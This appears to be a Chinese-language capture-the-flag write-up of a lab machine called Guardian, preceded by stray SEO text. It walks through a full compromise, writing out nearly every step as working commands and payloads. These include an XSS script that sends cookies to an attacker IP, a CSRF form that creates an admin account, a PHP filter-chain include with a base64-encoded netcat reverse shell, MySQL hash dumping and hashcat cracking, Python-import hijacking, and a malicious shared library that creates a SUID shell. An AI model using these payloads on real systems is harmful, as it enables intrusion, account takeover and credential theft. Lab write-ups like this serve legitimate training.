昆明优化网站多少钱,做网站鼠标移动 链接变颜色,建网站资料,常用的英文网站字体各位好#xff0c;最近我的kali崩掉了#xff0c;崩掉了#xff0c;建议大家避K 番茄C盘瘦身#xff0c;这家伙修改了我的avrt.dll文件#xff0c;导致virtualbox不接受我的avrt.dll文件的签名了#xff0c;从而导致virtualbox的虚拟机环境全崩无法开机。弄了几天#x…各位好最近我的kali崩掉了崩掉了建议大家避K 番茄C盘瘦身这家伙修改了我的avrt.dll文件导致virtualbox不接受我的avrt.dll文件的签名了从而导致virtualbox的虚拟机环境全崩无法开机。弄了几天真是造孽啊nmap扫描
nmap -F 10.129.161.67 --min-rate1000 -A 目录扫描80端口
dirsearch -u http://portal.guardian.htbPHP composer 编译信息泄露
发现了installed.json。在文件中我们发现phpoffice/math 2025年爆出漏洞。https://github.com/advisories/GHSA-42hm-pq2f-3r7m。phpoffice/spreadsheet 2025年爆出 XSS漏洞和SSRF漏洞。
http://portal.guardian.htb/vendor/composer/installed.json浏览80端口
GU2024001在80端口我们还发现默认密码
GU1234我们将密码喷洒进入到了学生的Portal进一步攻击发现IDOR漏洞我们发现admin和jamil.enockson的聊天记录并窃取密码。聊天内容里面说是gitea的密码。
jamil.enockson/DHsNnk3V503我们尝试访问gitea.guardian.htb竟然成功了我们查明了系统版本信息当前gitea貌似不存在公开漏洞。我们使用账号登陆系统
jamil.enocksonguardian.htb / DHsNnk3V503我们看到了两个网站的源码很快我们就发现了一个密码
root / Gu4rd14n_un1_1s_th3_b3stPHPoffice 2025 年漏洞- XSS 漏洞窃取 Cookies
绕过xlsx文件的工作表长度限制
我们阅读源码发现学生的上传接口不存在逻辑漏洞但老师的view-submissions.php接口调用了phpoffice/spreadsheet工具如我们前面所述我们了解到这个工具存在SSRF和XSS漏洞我们尝试XSS。目前wordwps等软件已经限制了sheet的字数长度所以我们需要去这个网站https://www.treegrid.com/FSheet
scriptfetch(http://10.10.16.5/steal?cookie btoa(document.cookie));/script我们成功获取到老师的cookiePHPSESSIDg9s11233qe3c2ud0qsghouq4c9CSRF漏洞借用admin账户创建管理员账户
我们发现老师有notice是和admin交流的地方接口位置在http://portal.guardian.htb/lecturer/notices/create.php我们的链接会被admin很快的观看这里基本就是可以让admin执行任意js代码的意思所以我们故技重施尝试窃取他的cookie很可惜没能成功因为他访问我的时候没有携带PHPSESSID。那么我们尝试进行CSRF攻击借助admin的浏览器来完成用户创建操作。首先阅读admin/createuser.php。我们了解到我们需要找到csrf_token和js构造post请求的办法。经过努力我们构造好了payload。
form idmyForm actionhttp://portal.guardian.htb/admin/createuser.php methodpost styledisplay: none;
input typehidden namecsrf_token value6fa73396177651d363cbf46f3c1ae63c
input typehidden nameusername valueydx
input typehidden namepassword valueydx666
input typehidden namefull_name valueydx
input typehidden nameemail valueydx123.com
input typehidden namedob valueydx666
input typehidden nameaddress valueydx666123.com
input typehidden nameuser_role valueadmin
/form
script window.onload function() { document.getElementById(myForm).submit(); }; /script把他保存为pwn.html并且开启python 的http服务器
python -m http.server 80然后我们将而恶意页面的链接发送给admin。过一会儿我们的python服务器就会有反应然后登录到portal即可。很显然我们成功了php_filter_chain_generator.py绕过编码限制
前面我们已经发现了report.php接口使用了危险的include函数。我们可以使用php伪协议完成攻击。我们使用php_filter_chain_generator.py完成payload的生成
python php_filter_chain_generator.py --chain ?php eval($_POST[a]);?复制这个生成的payload这相当于我们向页面写入了?php eval($_POST[“a”]);?然后我们构造相应的代码进行反连。
POST /admin/reports.php?reportphp://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resourcephp://temp,system.php HTTP/1.1
Host: portal.guardian.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8
Accept-Language: en-US,en;q0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID48bj7hhhs1a21o1t3tmbcb8ddu
Upgrade-Insecure-Requests: 1
Priority: u0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 406ashell_exec(echo cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL2Jhc2ggLWkgMj4mMXxuYyAxMC4xMC4xNi4xMCA5MDAxID4vdG1wL2Y | base64 -d | bash);我们成功获得shell理解源码破解数据库密码
进入mysql窃取用户密码
mysql -h127.0.0.1 -uroot -pGu4rd14n_un1_1s_th3_b3st -e USE guardiandb;SHOW TABLES;SELECT username,password_hash from users;我们查看admin/createuser.php发现其和数据库的交互方式发现他是将password和salt连在一起后进行SHA256进行加密。hashcat组合攻击模式破解密码
下面我们希望使用hashcat组合来破解密码所以我们需要提前编写好salt.txt文件
8Sb)tM1vs1SS我们编写好salt.txt文件后使用hashcat开启组合攻击模式来破解密码
hashcat -a 1 -m 1400 hash/data.mysql /home/kali/Desktop/Info/zhuzhuzxia/Passwords/rockyou.txt salt.txt发现两个密码
jamil.enockson / copperhouse56
admin / fakebakehydra 密码喷洒 -O 适配老旧SSL
我们喷洒一下密码注意一定要加-O 貌似使用的SSL版本存在一些特殊问题。
hydra -L users.txt -P passwords.txt ssh://10.10.11.84 -V -Ojamil / copperhouse56劫持python文件依赖提权
我们sudo -l 发现使用了一个python程序我们对这个程序有没有写权限。阅读文件内部我们发现了一些非常有趣的内容这个python文件使用了几个依赖我们尝试是否有可能劫持他们。其中最让我感兴趣的是/opt/scripts/utilities/utils/dp.py和/opt/scripts/utilities/utils/status.py。其中status.py我们可以写这将是提权的关键。那么我们只要能够在system_status函数中加入恶意代码即可。修改后的status.py如下
import platform
import psutil
import os
import sys,socket,os,ptydef system_status():print(System:, platform.system(), platform.release())print(CPU usage:, psutil.cpu_percent(), %)print(Memory usage:, psutil.virtual_memory().percent, %)pty.spawn(/usr/bin/bash) sudo 模拟为非root用户
下面使用这个代码成功窃取mark的用户权限
sudo -u mark /opt/scripts/utilities/utilities.py system-statusGhidra将ELF文件反编译成C源码
再次sudo -l 在mark的环境下这个可能是通往root的宝库我们将文件传输到kali并进行反编译过程。打开ghidra创建一个新的项目将ELF文件导入项目双击文件分析文件打开函数结构我们在下框将发现函数树点击main即可在反编译框发现源代码下面是源码。
undefined8 main(int param_1,undefined8 *param_2){int iVar1;char *pcVar2;FILE *__stream;long in_FS_OFFSET;char local_1418 [1024];char local_1018 [4104];long local_10;local_10 *(long *)(in_FS_OFFSET 0x28);if (param_1 3) {iVar1 strcmp((char *)param_2[1],-f);if (iVar1 0) {pcVar2 realpath((char *)param_2[2],local_1018);if (pcVar2 (char *)0x0) {perror(realpath);}else {iVar1 starts_with(local_1018,/home/mark/confs/);if (iVar1 0) {fprintf(stderr,Access denied: config must be inside %s\n,/home/mark/confs/);}else {__stream fopen(local_1018,r);if (__stream (FILE *)0x0) {perror(fopen);}else {do {pcVar2 fgets(local_1418,0x400,__stream);if (pcVar2 (char *)0x0) {fclose(__stream);execl(/usr/sbin/apache2ctl,apache2ctl,DAT_00102072,local_1018,0);perror(execl failed);goto LAB_00101663;}iVar1 is_unsafe_line(local_1418);} while (iVar1 0);fwrite(Blocked: Config includes unsafe directive.\n,1,0x2b,stderr);fclose(__stream);}}}goto LAB_00101663;}}fprintf(stderr,Usage: %s -f /home/mark/confs/file.conf\n,*param_2);
LAB_00101663:if (local_10 ! *(long *)(in_FS_OFFSET 0x28)) {/* WARNING: Subroutine does not return */__stack_chk_fail();}return 1;
}我们进入到is_unsafe_line看看这个地方会读取文件内容然后做一些执行并且只有这个函数通过了我们才能执行apache2ctl。
undefined8 is_unsafe_line(undefined8 param_1){int iVar1;undefined8 uVar2;long in_FS_OFFSET;char local_1038 [32];char local_1018 [4104];long local_10;local_10 *(long *)(in_FS_OFFSET 0x28);iVar1 __isoc99_sscanf(param_1,%31s %1023s,local_1038,local_1018);if (iVar1 ! 2) {uVar2 0;goto LAB_00101423;}iVar1 strcmp(local_1038,Include);if (iVar1 0) {
LAB_001013c6:if (local_1018[0] /) {iVar1 starts_with(local_1018,/home/mark/confs/);if (iVar1 0) {fprintf(stderr,[!] Blocked: %s is outside of %s\n,local_1018,/home/mark/confs/);uVar2 1;goto LAB_00101423;}}}else {iVar1 strcmp(local_1038,IncludeOptional);if (iVar1 0) goto LAB_001013c6;iVar1 strcmp(local_1038,LoadModule);if (iVar1 0) goto LAB_001013c6;}uVar2 0;
LAB_00101423:if (local_10 ! *(long *)(in_FS_OFFSET 0x28)) {/* WARNING: Subroutine does not return */__stack_chk_fail();}return uVar2;
}编写恶意SO文件的 C语言 Shellcode
分析is_unsafe_line我们发现LAB_00101423是被拦截的情况而LAB_001013c6是不被拦截情况。继续分析我们发现只要文件中的开头是LoadModule,那么就会直接不被拦截。所以我们可以使用LoadModule来完成so文件的加载和运行。我们构造如下恶意c代码非常值得注意的是so文件劫持通常需要精细到函数级别但这里我们无法定位使用的函数所以设定成如下样子即在main函数执行之前执行函数。
#include stdio.h
#include unistd.h
#include stdlib.h__attribute__((constructor)) void init() {setuid(0);setgid(0);system(cp /bin/bash /tmp/ydx_bash;chmod 777 /tmp/ydx_bash;chmod us /tmp/ydx_bash;);
}构造恶意的conf文件文件内容为
LoadModule evilmodule /tmp/evil.so编译C文件为SO文件
使用gcc 构造so文件
gcc /tmp/evil.c -fPIC -shared -o /tmp/evil.so我们分别将文件传输分别放在下面的路径
/tmp/evil.c
/tmp/evil.so
/home/mark/confs/pwned.conf执行exploit
sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/pwned.conf出错也没关系命令已经执行了下面进入bash收获flag即可
./ydx_bash -p试错区域
PHPoffice 2025 年漏洞- SSRF 漏洞
之前是觉得XSS文档位置存在限制所以放弃了那条道路走向了SSRF。结果查明之后发现gopher虽然可以和mysql交互但是必须是mysql没有密码保护的情况。所以吸取经验下次可以在了解到mysql存在密码的时候就果断切断这条路。
![[Pasted image 20250903214202.png]]
![[Pasted image 20250903214212.png]]
很可惜他并没有成功地携带他的cookie出来。但不要灰心我们还有手段。鉴于SSRF成功了我们还在config/config.php中找到了他的数据库密码。
![[Pasted image 20250903214346.png]]
我们还是Mysql的root用户这自然让我想到我们可以在服务器读写文件。但又有几个问题第一该SSRF没有回显所以读文件不可知道文件内容而写文件我们又没有找到Web根目录的物理路径。但我们可能利用SSRF来完成web admin用户的创建。所以在采取行动之前我去admin账户的位置查看了一些php文件其中report.php文件看起来非常有趣。
admin/reports.php![[Pasted image 20250903214936.png]]
![[Pasted image 20250903214908.png]]
攻击路线确认我们开始尝试这有些艰难的攻击。其大致思路是我们通过SSRFGopher协议操控mysql添加新Web admin用户。然后登录到admin portal中使用report.php接口完成LFI漏洞。下面开始攻击。首先我们去了解创建用户的Mysql query语句。我们可以在admin/createuser.php接口的源码中看到有如下结构。
![[Pasted image 20250903220324.png]]
很好这个看起我们可以设定usernamepassword_hashuser_role即可。我们去login.php确认一下。可以看到我们给到用户的账号密码他会根据用户的($username, $hashed_password)去数据库查找并返回一个$user对象其中维持Web运行下去的内容有username,user_role,user_id。所以总结来看我们需要设定的内容有usernamepassword_hashuser_roleuser_id。我们接下来去models/User.php查看create函数的使用情况。
![[Pasted image 20250903220450.png]]
可以看出来我们还需要构造hash前面我们发现了config/config.php文件告诉我们了salt
8Sb)tM1vs1SS所以我们开始构造hash使用在线网站https://www.symbionts.de/tools/hash/sha256-hash-salt-generator.html
secret:ydx666!
salt:8Sb)tM1vs1SSf1a968745a49cd8d02fee7e8e93310e727d5e4bd3009be2e897c5c7559d96df3借助上面我们一系列的信息搜集我们构造了如下语句
#user_id非自增
INSERT INTO users (username, password_hash,user_role,user_id) VALUES (ydx, f1a968745a49cd8d02fee7e8e93310e727d5e4bd3009be2e897c5c7559d96df3,admin,999)#user_id自增
INSERT INTO users (username, password_hash,user_role) VALUES (ydx, f1a968745a49cd8d02fee7e8e93310e727d5e4bd3009be2e897c5c7559d96df3,admin)gopherus构造 SSRF攻击Mysql的payload
开始使用gopherus构造 SSRF payload
gopherus --exploit mysql